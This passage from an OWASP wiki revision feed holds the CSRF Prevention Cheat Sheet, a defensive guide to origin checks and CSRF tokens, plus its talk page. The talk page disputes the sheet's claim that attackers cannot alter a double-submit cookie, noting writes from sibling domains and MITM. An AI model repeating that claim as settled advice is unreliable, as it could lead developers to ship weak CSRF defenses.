For more information on prevention measures that do NOT work, please see the [[Cross-Site_Request_Forgery_(CSRF)#Prevention_measures_that_do_NOT_work | OWASP CSRF article]].&lt;br /&gt;
&lt;br /&gt;
= Personal Safety CSRF Tips for Users =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow the following best practices to mitigate risk. These include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Paul Petefish - https://www.linkedin.com/in/paulpetefish&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227245</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227245"/>
				<updated>2017-03-10T18:44:39Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: + Identifying cross-origin requests&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Why was it important to explain how a web service can identify requests coming across origins in a [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change]?  (I am also confused with the style and the title of the article. I noticed that the burden of proof is often avoided in a prescriptive style, so I wonder if OWASP could stick with a descriptive style). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:44, 10 March 2017 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227244</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227244"/>
				<updated>2017-03-10T17:57:55Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Checking the Origin Header */ +no Origin header sent by IE within a trusted zone&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&lt;br /&gt;
[[Cross-Site Request Forgery (CSRF)]] is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function via the target's browser without knowledge of the target user, at least until the unauthorized transaction has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the privileges of each victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire web application. Sites that are more likely to be attacked by CSRF are community websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). Utilizing social engineering, an attacker can embed malicious HTML or JavaScript code into an email or website to request a specific 'task URL'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-Site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
== Warning: No Cross-Site Scripting (XSS) Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
[[Cross-Site Scripting]] is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti-CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= General Recommendations For Automated CSRF Defense =&lt;br /&gt;
&lt;br /&gt;
We recommend two separate checks as your standard CSRF defense that does not require user intervention. This discussion ignores for the moment deliberately allowed cross origin requests (e.g., CORS). Your defenses will have to adjust for that if that is allowed.&lt;br /&gt;
&lt;br /&gt;
# Check standard headers to verify the request is same origin&lt;br /&gt;
# AND Check CSRF token&lt;br /&gt;
&lt;br /&gt;
Each of these is discussed next.&lt;br /&gt;
&lt;br /&gt;
== Verifying Same Origin with Standard Headers ==&lt;br /&gt;
&lt;br /&gt;
There are two steps to this check:&lt;br /&gt;
&lt;br /&gt;
# Determining the origin the request is coming from (source origin)&lt;br /&gt;
# Determining the origin the request is going to (target origin)&lt;br /&gt;
&lt;br /&gt;
Both of these steps rely on examining an HTTP request header value. Although it is usually trivial to spoof any header from a browser using JavaScript, it is generally impossible to do so in the victim's browser during a CSRF attack, except via an XSS vulnerability in the site being attacked with CSRF. More importantly for this recommended Same Origin check, a number of HTTP request headers can't be set by JavaScript because they are on the [https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name 'forbidden' headers list]. Only the browsers themselves can set values for these headers, making them more trustworthy because not even an XSS vulnerability can be used to modify them.&lt;br /&gt;
&lt;br /&gt;
The Source Origin check recommended here relies on three of these protected headers: Origin, Referer, and Host, making it a pretty strong CSRF defense all on its own.&lt;br /&gt;
&lt;br /&gt;
=== Identifying Source Origin ===&lt;br /&gt;
&lt;br /&gt;
To identify the source origin, we recommend using one of these two standard headers that almost all requests include one or both of:&lt;br /&gt;
&lt;br /&gt;
* Origin Header&lt;br /&gt;
* Referer Header&lt;br /&gt;
&lt;br /&gt;
==== Checking the Origin Header ====&lt;br /&gt;
If the Origin header is present, verify its value matches the target origin. The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the Referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL. If the Origin header is present, then it should be checked to make sure it matches the target origin.&lt;br /&gt;
&lt;br /&gt;
This defense technique is specifically proposed in section 5.0 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. This paper proposes the creation of the Origin header and its use as a CSRF defense mechanism.&lt;br /&gt;
&lt;br /&gt;
There are some situations where the Origin header is not present.&lt;br /&gt;
* [http://stackoverflow.com/questions/20784209/internet-explorer-11-does-not-add-the-origin-header-on-a-cors-request Internet Explorer 11 does not add the Origin header on a CORS request] across sites of a trusted zone.  The Referer header will remain the only indication of the UI origin.&lt;br /&gt;
* [http://stackoverflow.com/questions/22397072/are-there-any-browsers-that-set-the-origin-header-to-null-for-privacy-sensitiv Following a 302 redirect cross-origin]. In this situation, the Origin is not included in the redirected request because that may be considered sensitive information you don't want to send to the other origin. But since we recommend rejecting requests that don't have both Origin and Referer headers, this is OK, because the reason the Origin header isn't there is because it is a cross-origin redirect.&lt;br /&gt;
&lt;br /&gt;
==== Checking the Referer Header ====&lt;br /&gt;
If the Origin header is not present, verify the hostname in the Referer header matches the target origin. Checking the Referer is a commonly used method of preventing CSRF on embedded network devices because it does not require any per-user state.  This makes Referer a useful method of CSRF prevention when memory is scarce or server-side state doesn't exist.  This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token. &lt;br /&gt;
&lt;br /&gt;
In both cases, just make sure the target origin check is strong. For example, if your site is &amp;quot;site.com&amp;quot; make sure &amp;quot;site.com.attacker.com&amp;quot; doesn't pass your origin check (i.e., match through the trailing / after the origin to make sure you are matching against the entire origin).&lt;br /&gt;
&lt;br /&gt;
==== What to do when Both Origin and Referer Headers Aren't Present ====&lt;br /&gt;
&lt;br /&gt;
If neither of these headers is present, which should be VERY rare, you can either accept or block the request. '''We recommend blocking''', particularly if you aren't using a random CSRF token as your second check. You might want to log when this happens for a while and if you basically never see it, start blocking such requests.&lt;br /&gt;
&lt;br /&gt;
=== Identifying the Target Origin ===&lt;br /&gt;
&lt;br /&gt;
You might think its easy to determine the target origin, but its frequently not. The first thought is to simply grab the target origin (i.e., its hostname and port #) from the URL in the request. However, the application server is frequently sitting behind one or more proxies and the original URL is different from the URL the app server actually receives. If your application server is directly accessed by its users, then using the origin in the URL is fine and you're all set.&lt;br /&gt;
&lt;br /&gt;
==== Determining the Target Origin When Behind a Proxy ====&lt;br /&gt;
&lt;br /&gt;
If you are behind a proxy, there are a number of options to consider:&lt;br /&gt;
&lt;br /&gt;
# Configure your application to simply know its target origin&lt;br /&gt;
# Use the Host header value&lt;br /&gt;
# Use the X-Forwarded-Host header value&lt;br /&gt;
&lt;br /&gt;
Its your application, so clearly you can figure out its target origin and set that value in some server configuration entry. This would be the most secure approach as its defined server side so is a trusted value. However, this can be problematic to maintain if your application is deployed in many different places, e.g., dev, test, QA, production, and possibly multiple production instances. Setting the correct value for each of these situations can be difficult, but if you can do it, that's great.&lt;br /&gt;
&lt;br /&gt;
If you would prefer the application figure it out on its own, so it doesn't have to be configured differently for each deployed instance, we recommend using the Host family of headers. The Host header's purpose is to contain the target origin of the request. But, if your app server is sitting behind a proxy, the Host header value is most likely changed by the proxy to the target origin of the URL behind the proxy, which is different than the original URL. This modified Host header origin won't match the source origin in the original Origin or Referer headers.&lt;br /&gt;
&lt;br /&gt;
However, there is another header called X-Forwarded-Host, whose purpose is to contain the original Host header value the proxy received. Most proxies will pass along the original Host header value in the X-Forwarded-Host header. So that header value is likely to be the target origin value you need to compare to the source origin in the Origin or Referer header.&lt;br /&gt;
&lt;br /&gt;
=== Verifying the Two Origins Match ===&lt;br /&gt;
&lt;br /&gt;
Once you've identified the source origin (from either the Origin or Referer header), and you've determined the target origin, however you choose to do so, then you can simply compare the two values and if they don't match you know you have a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
== CSRF Specific Defense ==&lt;br /&gt;
&lt;br /&gt;
Once you have verified that the request appears to be a same origin request so far, we recommend a second check as an additional precaution to really make sure. This second check can involve custom defense mechanisms using CSRF specific tokens created and verified by your application or can rely on the presence of other HTTP headers depending on the level of rigor/security you want.&lt;br /&gt;
&lt;br /&gt;
There are numerous ways you can specifically defend against CSRF. We recommend using one of the following (in ADDITION to the check recommended above):&lt;br /&gt;
&lt;br /&gt;
1. Synchronizer (i.e.,CSRF) Tokens (requires session state)&lt;br /&gt;
&lt;br /&gt;
Approaches that do require no server side state:&lt;br /&gt;
&lt;br /&gt;
2. Double Cookie Defense&amp;lt;br /&amp;gt;&lt;br /&gt;
3. Encrypted Token Pattern&amp;lt;br /&amp;gt;&lt;br /&gt;
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest&lt;br /&gt;
&lt;br /&gt;
These are listed in order of strength of defense. So use the strongest defense that makes sense in your situation.&lt;br /&gt;
&lt;br /&gt;
=== Synchronizer (CSRF) Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Any state changing operation requires a secure random token (e.g., CSRF token) to prevent CSRF attacks&lt;br /&gt;
* Characteristics of a CSRF Token&lt;br /&gt;
** Unique per user session&lt;br /&gt;
** Large random value&lt;br /&gt;
** Generated by a cryptographically secure random number generator &lt;br /&gt;
* The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET&lt;br /&gt;
* The server rejects the requested action if the CSRF token fails validation&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; &lt;br /&gt;
   value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...&lt;br /&gt;
   wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and/or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of TLS.&lt;br /&gt;
&lt;br /&gt;
==== Existing Synchronizer Implementations ====&lt;br /&gt;
&lt;br /&gt;
Synchronizer Token defenses have been built into many frameworks so we strongly recommend using them first when they are available. External components that add CSRF defenses to existing applications also exist and are recommended. OWASP has two:&lt;br /&gt;
&lt;br /&gt;
# For Java: OWASP [[CSRF Guard]]&lt;br /&gt;
# For PHP and Apache: [[CSRFProtector Project]]&lt;br /&gt;
&lt;br /&gt;
==== Disclosure of Token in URL ====&lt;br /&gt;
&lt;br /&gt;
Many implementations of synchronizer tokens include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from JavaScript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Additionally, since HTTPS requests from HTTPS contexts will not strip the Referer header (as opposed to HTTPS to HTTP requests) CSRF token leaks via Referer can still happen on HTTPS Applications.&lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
==== ASP.NET, MVC and .NET Web Pages ====&lt;br /&gt;
&lt;br /&gt;
.NET provides comprehensive CSRF defense. For more information visit the following resources.&lt;br /&gt;
* https://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2&lt;br /&gt;
* http://software-security.sans.org/developer-how-to/developer-guide-csrf&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookie ===&lt;br /&gt;
&lt;br /&gt;
If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match. &lt;br /&gt;
&lt;br /&gt;
When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.&lt;br /&gt;
&lt;br /&gt;
As an example, the [http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in that implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Encrypted Token Pattern ===&lt;br /&gt;
&lt;br /&gt;
The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once decrypted, the UserId and timestamp contained within the token are validated to ensure validity; the UserId is compared against the currently logged in user, and the timestamp is compared against the current time.&lt;br /&gt;
&lt;br /&gt;
On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potentially stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.&lt;br /&gt;
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.&lt;br /&gt;
&lt;br /&gt;
This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.&lt;br /&gt;
&lt;br /&gt;
=== Protecting REST Services: Use of Custom Request Headers ===&lt;br /&gt;
&lt;br /&gt;
Adding CSRF tokens, a double submit cookie and value, encrypted token, or other defense that involves changing the UI can frequently be complex or otherwise problematic. An alternate defense which is particularly well suited for AJAX endpoints is the use of a custom request header. This defense relies on the [https://en.wikipedia.org/wiki/Same-origin_policy same-origin policy (SOP)] restriction that only JavaScript can be used to add a custom header, and only within its origin. By default, browsers don't allow JavaScript to make cross origin requests.&lt;br /&gt;
&lt;br /&gt;
A particularly attractive custom header and value to use is:&lt;br /&gt;
* X-Requested-With: XMLHttpRequest&lt;br /&gt;
because most JavaScript libraries already add this header to requests they generate by default. Some do not though. For example, AngularJS used to, but doesn't anymore. [https://github.com/angular/angular.js/commit/3a75b1124d062f64093a90b26630938558909e8d Their rationale and how to add it back is here].&lt;br /&gt;
&lt;br /&gt;
If this is the case for your system, you can simply verify the presence of this header and value on all your server side AJAX endpoints in order to protect against CSRF attacks. This approach has the double advantage of usually requiring no UI changes and not introducing any server side state, which is particularly attractive to REST services. You can always add your own custom header and value if that is preferred.&lt;br /&gt;
&lt;br /&gt;
This defense technique is specifically discussed in section 4.3 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. However, bypasses of this defense using Flash were documented as early as 2008 and again as recently as 2015 by [https://hackerone.com/reports/44146 Mathias Karlsson to exploit a CSRF flaw in Vimeo]. But, we believe that the Flash attack can't spoof the Origin or Referer headers so by checking both of them we believe this combination of checks should prevent Flash bypass CSRF attacks. (NOTE: If anyone can confirm or refute this belief, please let us know so we can update this article)&lt;br /&gt;
&lt;br /&gt;
= Alternate CSRF Defense: Require User Interaction =&lt;br /&gt;
&lt;br /&gt;
Sometimes its easier or more appropriate to involve the user in the transaction in order to prevent unauthorized transactions (forged or otherwise).&lt;br /&gt;
&lt;br /&gt;
The following are some examples of challenge-response options:&lt;br /&gt;
&lt;br /&gt;
*Re-Authentication (password or stronger)&lt;br /&gt;
*One-time Token&lt;br /&gt;
*CAPTCHA&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense against CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
An example of a transparent use of security tokens that doesn't impact the user experience is the use of transaction IDs. Imagine a user wants to initiate a transaction, like send money via PayPal.&lt;br /&gt;
&lt;br /&gt;
* In Step 1: the user provides the email address and the amount of money they want to send.&lt;br /&gt;
** The server responds with a confirmation dialog that includes a unique transaction ID for this money transfer.&lt;br /&gt;
* In Step 2: the user confirms the proposed transaction. &lt;br /&gt;
** The confirmation request includes the transaction ID generated in step 1. If the server verifies the transaction ID as part of this step, this prevents CSRF against this transaction flow without using a CSRF specific defense token. The transaction ID as part of the confirm essentially serves as the CSRF defense if the attacker cannot predict this value, The transaction ID 'should' be random/unguessable. Ideally, not just the next transaction number in a growing by one list of transaction IDs.&lt;br /&gt;
&lt;br /&gt;
This is just one example of site's behavior that might naturally protect certain state changing events against CSRF attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
For more information on prevention measures that do NOT work, please see the [[Cross-Site_Request_Forgery_(CSRF)#Prevention_measures_that_do_NOT_work | OWASP CSRF article]].&lt;br /&gt;
&lt;br /&gt;
= Personal Safety CSRF Tips for Users =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow the following best practices to mitigate risk. These include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Paul Petefish - https://www.linkedin.com/in/paulpetefish&amp;lt;br/&amp;gt;&lt;br /&gt;
